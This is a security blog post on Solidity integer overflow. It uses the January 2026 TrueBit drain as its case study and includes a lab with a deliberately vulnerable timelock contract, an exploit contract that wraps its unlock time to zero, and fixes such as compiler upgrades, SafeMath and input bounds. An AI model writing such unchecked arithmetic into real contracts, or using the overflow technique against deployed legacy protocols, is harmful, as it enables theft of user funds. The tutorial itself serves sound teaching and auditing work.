I thought overflows had been solved. A post-0.8 world is safe, right? Why spend the effort learning a vulnerability the industry had already moved past. Then January 8, 2026 happened. TrueBit Protocol. $26.4 million drained in a single transaction. The contract responsible was compiled with Solidity 0.5.3 and deployed in 2021. Solidity 0.8 had already shipped in December 2020 with built-in overflow protection. The version that would have prevented the entire attack was already available. They just never used it. (Five years. Nothing.)
Security researchers believe the vulnerability was found by AI scanning older deployed protocols for unprotected arithmetic. The math was wrong. Automated tools found what five years of neglect missed.
Old bug, modern discovery methods, current damage.
The Math
Every unsigned integer in Solidity has a fixed size. That size determines its maximum value. Go over it and the number wraps back to zero. Go under zero and it wraps to the maximum. The contract has no idea anything went wrong. (It never does.)
Here are the types you’ll see most often:
uint256 maxes out at: 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935. That’s 78 digits. Most people’s bank balance is 4-6 digits.
It still has a ceiling. Cross it in either direction and the number wraps silently. A normal bank errors out. A vulnerable DeFi contract just keeps going.
If you want to see it live, grab Chisel from getfoundry.sh. Chisel runs 0.8 by default so you’ll need unchecked to force the old behavior.
Overflow — unchecked { uint8 x = 255; return x + 1; } returns 0. The ceiling wraps back to zero.Underflow — unchecked { uint8 y = 0; return y – 1; } returns 255. The floor wraps to the max.
The contract keeps running either way. No alarm. No revert. Nothing.
This is pre-0.8 behavior. In Solidity 0.8 and above, both of these revert instead of wrapping silently. That’s the whole fix in one version bump.
The problem is there are still contracts running on older versions. Deployed. Holding real money. Not getting updated.
Before and After 0.8
Solidity 0.8 shipped in December 2020 with one change that mattered more than almost anything else in that release: arithmetic operations now revert on overflow and underflow by default. No library required. No extra code. Just safe math baked in.
Before that, the default behavior was silence.
Pre-0.8:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract PreEightVault {
mapping(address => uint256) public balances;
function withdraw(uint256 amount) external {
// If balances[msg.sender] is 0 and amount is 1,
// this underflows silently to uint256 max
// No revert. No error. Just a very large number.
balances[msg.sender] -= amount;
}
}
The subtraction wraps. The balance goes from zero to the max. The contract keeps running. Nobody is warned.
Post-0.8:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PostEightVault {
mapping(address => uint256) public balances;
function withdraw(uint256 amount) external {
// Same operation. Same inputs.
// Now it reverts with a Panic error instead of wrapping.
balances[msg.sender] -= amount;
}
}
Same code, different compiler. One reverts cleanly. One hands an attacker an infinite balance.
The Cross-Contract Danger
Here’s where it gets subtle and where modern protocols can still get wrecked.
A contract compiled with 0.8 calling a contract compiled with 0.7 does not inherit the safety of the newer version. Each contract runs under its own compiler rules. The modern contract assumes overflow protection. The legacy contract has none. The assumption is wrong.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ILegacyVault {
function withdraw(uint256 amount) external;
function balances(address user) external view returns (uint256);
}
contract ModernCaller {
ILegacyVault public legacyVault;
constructor(address _vault) {
legacyVault = ILegacyVault(_vault);
}
function withdrawFromLegacy(uint256 amount) external {
// ModernCaller is compiled with 0.8
// but legacyVault runs under its own 0.7 rules
// The overflow protection from 0.8 does not follow the call
legacyVault.withdraw(amount);
}
}
The call crosses a compiler boundary and the safety doesn’t come with it. Auditing ModernCaller alone looks fine. The vulnerability lives in LegacyVault and you only find it by following the full execution path.
Follow the money. Every hop. Every contract. Every time.
The Elder’s Vault
The contracts below can be found on my GitHub.
ElderTimelock is a timelock vault compiled with Solidity 0.7. It holds something behind a time-based lock set a hundred years in the future. It also has an extendSeal() function that lets users add more time to the lock. The intention was good. The implementation is not.
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// Pre-0.8 integer overflow lab. extendSeal() adds to unlocksAt with no
// overflow check — a large enough additionalTime wraps it past 2^256 back
// to a tiny value, unsealing the vault.
contract ElderTimelock {
address public elder;
uint256 public unlocksAt;
bool public isSealed;
string public artifact;
event SealExtended(address indexed by, uint256 newUnlocksAt);
event VaultOpened(address indexed by, uint256 timestamp);
constructor() {
elder = msg.sender;
unlocksAt = block.timestamp + 36500 days;
isSealed = true;
artifact = “A worn copper bracelet”;
}
// VULNERABLE: no overflow check on the addition.
function extendSeal(uint256 additionalTime) external {
unlocksAt += additionalTime;
emit SealExtended(msg.sender, unlocksAt);
}
function open() external {
require(block.timestamp >= unlocksAt, “ElderTimelock: vault is sealed”);
isSealed = false;
emit VaultOpened(msg.sender, block.timestamp);
}
function readArtifact() external view returns (string memory) {
require(!isSealed, “ElderTimelock: vault is sealed”);
return artifact;
}
}
The extendSeal function is the problem. unlocksAt starts as block.timestamp + 36500 days, a number somewhere around 100 years in the future. The contract assumes you can only make the lock stronger by calling it.
unlocksAt is a uint256. uint256 has a maximum value of 2^256 – 1. Add enough to push past that ceiling and the number wraps back to zero. The vault that was supposed to be sealed for a century becomes unlockable immediately.
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import “./ElderTimelock.sol”;
// TimelockExploit exploits the integer overflow in ElderTimelock.
// By calling extendSeal() with (type(uint256).max – unlocksAt + 1),
// the addition wraps unlocksAt past zero back to 0. The open() check
// then succeeds trivially because block.timestamp >= 0.
contract TimelockExploit {
ElderTimelock public vault;
constructor(address _vault) {
vault = ElderTimelock(_vault);
}
function exploit() external {
uint256 currentUnlocksAt = vault.unlocksAt();
// extra is sized so that unlocksAt + extra equals exactly 2^256,
// which wraps to 0 under pre-0.8 modular arithmetic
uint256 extra = type(uint256).max – currentUnlocksAt + 1;
vault.extendSeal(extra);
vault.open();
}
function readArtifact() external view returns (string memory) {
return vault.readArtifact();
}
}
extra is calculated so that unlocksAt + extra equals exactly type(uint256).max + 1. In pre-0.8 Solidity that wraps to zero. block.timestamp >= 0 is always true.
The vault opens.
The lock meant to hold for a century is gone in one transaction. One function, no checks, wrong number. That’s the whole attack.
The fix is one pragma line:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Fixed version of ElderTimelock. Identical code — only the pragma changes.
// Solidity 0.8+ checked arithmetic reverts the overflowing addition in
// extendSeal() with Panic(0x11) instead of wrapping unlocksAt to zero.
contract SealedTimelock {
address public elder;
uint256 public unlocksAt;
bool public isSealed;
string public artifact;
event SealExtended(address indexed by, uint256 newUnlocksAt);
event VaultOpened(address indexed by, uint256 timestamp);
constructor() {
elder = msg.sender;
unlocksAt = block.timestamp + 36500 days;
isSealed = true;
artifact = “A worn copper bracelet”;
}
function extendSeal(uint256 additionalTime) external {
unlocksAt += additionalTime;
emit SealExtended(msg.sender, unlocksAt);
}
function open() external {
require(block.timestamp >= unlocksAt, “SealedTimelock: vault is sealed”);
isSealed = false;
emit VaultOpened(msg.sender, block.timestamp);
}
function readArtifact() external view returns (string memory) {
require(!isSealed, “SealedTimelock: vault is sealed”);
return artifact;
}
}
Look at these two contracts side by side. The only difference is pragma solidity ^0.7.0 versus pragma solidity ^0.8.0. Same logic, same functions, same everything. One lets an attacker open a vault that was supposed to be sealed for a century. One reverts with a panic error and the vault stays shut.
That’s what a compiler version buys you. Go test them yourself.
The Fixes
Three approaches depending on what you’re working with. Stack them when you can. Defense is stronger in layers.
1. Upgrade to Solidity 0.8
The cleanest fix. If you control the contract and can upgrade the compiler, do it. Overflow and underflow protection becomes the default on every arithmetic operation. No library, no modifiers, no extra code.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FixedVault {
mapping(address => uint256) public balances;
function withdraw(uint256 amount) external {
// This reverts automatically if amount > balances[msg.sender]
// No underflow possible. Compiler handles it.
balances[msg.sender] -= amount;
}
}
If a subtraction would underflow or an addition would overflow, the transaction reverts with a Panic(0x11) error. Clean, automatic, free.
The catch: upgrading isn’t always possible. A five year old deployed contract isn’t getting recompiled. That’s exactly what made TrueBit vulnerable in 2026.
2. SafeMath for Contracts That Can’t Upgrade
For contracts stuck on pre-0.8 compilers, OpenZeppelin’s SafeMath library wraps arithmetic operations with explicit overflow checks. Instead of silent wrapping you get a revert.
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import “@openzeppelin/contracts/math/SafeMath.sol”;
contract SafeVault {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function withdraw(uint256 amount) external {
balances[msg.sender] = balances[msg.sender].sub(amount);
}
}
OpenZeppelin deprecated SafeMath after 0.8 shipped because it became redundant. If you’re seeing it in a modern codebase, that’s a signal the contract has older roots. Good place to start your hunt.
3. Input Validation as a Logic Fix
Sometimes the right fix isn’t about the arithmetic at all. It’s about rejecting inputs that should never be valid in the first place. This is what TrueBit was missing entirely.
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract ValidatedVault {
mapping(address => uint256) public balances;
uint256 public constant MAX_WITHDRAWAL = 1000 ether;
function withdraw(uint256 amount) external {
require(amount > 0, “Amount must be greater than zero”);
require(amount <= MAX_WITHDRAWAL, “Exceeds single withdrawal limit”);
require(amount <= balances[msg.sender], “Insufficient balance”);
balances[msg.sender] -= amount;
payable(msg.sender).transfer(amount);
}
}
The attacker passed 240,442,509,453,545,333,947,284,131 as the input. That number has 27 digits. A simple upper bound on inputs would have made that transaction impossible regardless of the compiler version.
Input validation doesn’t replace upgrading to 0.8 or using SafeMath. It’s a third layer. Use all three when you can. Every layer you add makes the crack harder to find.
If you’re auditing a pre-0.8 contract and none of these are present, that’s a finding. Flag it. Attack it. Report it.
The Typecasting Blind Spot
Overflow doesn’t only happen with addition and subtraction. It happens when you take a large number and force it into a smaller container. That’s typecasting, and it’s one of the quieter ways this vulnerability shows up in real code. Quieter means easier to miss.
The problem:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BatchDistributor {
mapping(address => uint128) public balances;
function batchDeposit(
address[] calldata recipients,
uint256[] calldata amounts
) external {
for (uint256 i = 0; i < recipients.length; i++) {
// amounts[i] is uint256 but balances stores uint128
// If amounts[i] > type(uint128).max, the cast silently truncates
// No revert. No warning. Wrong balance recorded.
balances[recipients[i]] += uint128(amounts[i]);
}
}
}
uint128 maxes out at 340,282,366,920,938,463,463,374,607,431,768,211,455. Pass anything larger and the cast silently chops off the high bits. The number that lands in balances is wrong and nothing tells you.
The fix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SafeBatchDistributor {
mapping(address => uint128) public balances;
function batchDeposit(
address[] calldata recipients,
uint256[] calldata amounts
) external {
for (uint256 i = 0; i < recipients.length; i++) {
require(
amounts[i] <= type(uint128).max,
“Amount exceeds uint128 max”
);
balances[recipients[i]] += uint128(amounts[i]);
}
}
}
One require before the cast. If the value doesn’t fit, the transaction reverts instead of silently corrupting the balance.
Audit instinct: Any time you see an explicit cast to a smaller type, treat it as a finding candidate. Ask two questions: where does this value come from, and is there a check that it fits before the cast happens. If the answer to the second question is no, flag it.
Solidity 0.8 protects you from arithmetic overflow. It does not protect you from explicit downcasting. The compiler won’t flag it. You have to.
Chaining With Other Vulnerabilities
Integer overflow is rarely the thing that destroys a protocol. It’s the crack in the dam. Small, easy to miss, and completely devastating once the pressure behind it finds a way through.
The overflow creates a condition. A corrupted balance, a miscalculated price, a bypassed check. That condition is what the attacker actually uses. The water is the money. The crack just lets it out.
We’ll break down the full TrueBit chain at the end of this article.
The chain:
Five steps. One vulnerability triggered all of them. The overflow didn’t steal the money directly. It broke the pricing logic, which broke the minting logic, which broke the reserve accounting. Each step in the chain looked legitimate to the contract because the contract had no idea the number feeding into it was wrong.
This is why overflow findings get escalated to high severity even when the arithmetic looks contained to one function. You have to trace what that corrupted value touches downstream.
Other common chains:
Overflow into access control. A counter or timestamp wraps to zero or a large value, bypassing a require check that was supposed to gate a privileged function. The attacker doesn’t break the lock. The lock just opens on its own because the number controlling it is wrong.
It shows up in price oracles too. A calculation feeding into a price feed produces a corrupted value and a lending protocol reads it as collateral. The attacker borrows against something that isn’t real and walks away clean.
Reward distribution is the quieter version. A balance inflates through underflow, that inflated number feeds into a payout calculation, and the protocol bleeds out slowly instead of all at once.
Audit question: When you find an overflow or underflow candidate, don’t just flag the arithmetic. Ask what that value feeds into. The answer determines the severity of the finding.
Overflow plus isolated math is informational. Overflow plus token minting is critical.
Always try to chain your vulnerabilities to escalate the findings.
AI Tools for Detection
AI changed the first hour of an audit. Before touching a single function manually, I kick off Pashov’s Solidity Auditor skill for Claude Code with /solidity-auditor and let it map the codebase. It doesn’t replace reading the code. It just provides a place to start.
While that runs, Slither handles the mechanical sweep with slither src/. Fast, opinionated, noisy, and still useful.
Run both tools against the full codebase for old pragma versions. Any file that comes back pre-0.8 is where you start.
While those tools are running, read the README! The README tells you what the contract is supposed to do. The code tells you what it actually does. The gap between those two things is where bugs live.
Between the tools you get a rough triage in minutes. The AI reasons across the codebase. Slither names the lines to review. Your job is following what they both missed.
What the hell was TrueBit? It was a protocol for verifying off-chain computations on Ethereum. Users could buy and sell TRU tokens through a bonding curve, a pricing mechanism where the cost to mint tokens increases as supply grows. The idea was that the price would always reflect real market dynamics.
The contract handling this logic was deployed in 2021. It was never updated. By January 2026 it was five years old, unverified on Etherscan, and still holding millions in ETH reserves.
On January 8th an attacker found the crack.
The vulnerable function was getPurchasePrice(). It calculated how much ETH a buyer needed to send to mint a given amount of TRU. The math involved adding two large uint256 values together. The contract was compiled with Solidity 0.5.3. There were no overflow checks.
The attacker passed 240,442,509,453,545,333,947,284,131 as the purchase amount. That number, fed into the pricing formula, caused the addition to overflow. The sum wrapped past uint256 max and landed on a tiny number. The calculated purchase price came out to zero ETH.
buyTRU() accepted it. Zero ETH sent. Massive amount of TRU minted. All of it credited to the attacker.
Then sellTRU(). The attacker burned the free tokens back into the bonding curve and received real ETH from the protocol reserves in exchange. The sell side of the bonding curve had no idea the tokens were minted for nothing. It just saw tokens coming in and paid out ETH.
The attacker ran the cycle five times in a single transaction. Each loop: overflow the price to zero, mint free tokens, sell for ETH. By the end, 8,535 ETH was gone. $26.4 million at the time.
The TRU token price dropped 99% within hours. The protocol has not recovered. All of it from a number that should have never been a valid input.
Two details make this particularly uncomfortable. First, the contract source code was never verified on Etherscan. The attacker had to decompile the bytecode to find the vulnerability. They dug deeper than others wanted to. Second, Solidity 0.8 was available when TrueBit launched. The decision to deploy on 0.5.3 and never migrate was a choice, not a limitation. Five years. Never touched.
Why was a 27-digit number a valid input to a pricing function? 240,442,509,453,545,333,947,284,131 isn’t a purchase amount. It’s an exploit disguised as a number. Part of this job is questioning the assumptions the original developer didn’t. A maximum purchase size is a basic design decision. It should have been made in 2021. It wasn’t. The overflow was the mechanism. The missing input validation was the door left open.
Security researchers believe the vulnerability was discovered using AI to scan older deployed protocols for unprotected arithmetic operations. The tools are getting better at finding these faster than teams are getting better at fixing them.
Turns out “solved” and “no longer deployed” are two very different things. There are contracts sitting on mainnet right now, holding real money, running on compilers from 2018. Nobody is updating them. Some of them have cracks.
The dam doesn’t care how small the crack is.
-Nahmstay.
Sources: Dehvcurtis · Faizan Nehal · QuillAudits · Pashov Solidity Auditor · Solidity 0.8 Release Notes
Integer Overflow: I Thought We Fixed This was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.
